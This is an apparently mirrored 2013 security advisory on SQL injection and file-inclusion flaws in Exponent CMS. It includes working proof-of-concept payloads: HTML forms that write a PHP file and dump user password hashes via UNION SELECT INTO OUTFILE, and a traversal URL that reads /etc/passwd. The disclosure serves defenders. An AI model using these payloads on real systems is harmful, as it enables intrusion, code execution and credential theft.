Lucene search

K
htbridgeHigh-Tech BridgeHTB23154
HistoryApr 24, 2013 - 12:00 a.m.

Multiple Vulnerabilities in Exponent CMS

2013-04-2400:00:00
High-Tech Bridge
www.htbridge.com
46

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.009 Low

EPSS

Percentile

83.0%

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Exponent CMS, which can be exploited to execute arbitrary SQL commands in the database of vulnerable application and execute arbitrary PHP code on the vulnerable system.

  1. SQL Injection in Exponent CMS: CVE-2013-3294
    The vulnerability exists due to insufficient filtration of “src” and “username” HTTP GET parameters passed to “/index.php” script. A remote unauthenticated attacker can execute arbitrary SQL commands in application’s database.
    Depending on database and system configuration, the PoC (Proof-of-Concept) code below will create a “/var/www/file.php” file with PHP function ‘phpinfo()’:
    <form action=“http://[host]/index.php” method=“post” name=“main”>
    <input type=“hidden” name=“action” value=“login”>
    <input type=“hidden” name=“int” value=“1”>
    <input type=“hidden” name=“module” value=“login”>
    <input type=“hidden” name=“password” value=“password”>
    <input type=“hidden” name=“src” value="’ UNION SELECT ‘<? phpinfo(); ?>’ INTO OUTFILE ‘/var/www/file.php’ – “>
    <input type=“hidden” name=“username” value=”’ UNION SELECT ‘<? phpinfo(); ?>’ INTO OUTFILE ‘/var/www/file.php’ – “>
    <input type=“submit” id=“btn”>
    </form>
    The second PoC will attempt to create “/var/www/file.txt” file, containing usernames and hashed passwords of all application’s users:
    <form action=“http://[host]/index.php” method=“post” name=“main”>
    <input type=“hidden” name=“action” value=“login”>
    <input type=“hidden” name=“int” value=“1”>
    <input type=“hidden” name=“module” value=“login”>
    <input type=“hidden” name=“password” value=“password”>
    <input type=“hidden” name=“src” value=”’ UNION SELECT CONCAT_WS(‘:’,username,password) FROM exponent_user INTO OUTFILE ‘/var/www/file.txt’ – “>
    <input type=“hidden” name=“username” value=”’ UNION SELECT CONCAT_WS(‘:’,username,password) FROM exponent_user INTO OUTFILE ‘/var/www/file.txt’ – ">
    <input type=“submit” id=“btn”>
    </form>

  2. PHP File Inclusion in Exponent CMS: CVE-2013-3295
    The vulnerability is caused by improper filtration of user-supplied input passed via the “page” HTTP GET parameter to “/install/popup.php” script, which is publicly accessible after CMS installation by default. A remote unauthenticated attacker can include arbitrary PHP files from the local system using directory traversal sequences with URL-encoded NULL byte, read arbitrary files or execute arbitrary PHP code on the target system.
    The PoC code below will output the content of ‘/etc/passwd’ file on vulnerable system:
    http://[host]/install/popup.php?page=…/…/…/…/etc/passwd%00

CPENameOperatorVersion
exponent cmsle2.2.0

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.009 Low

EPSS

Percentile

83.0%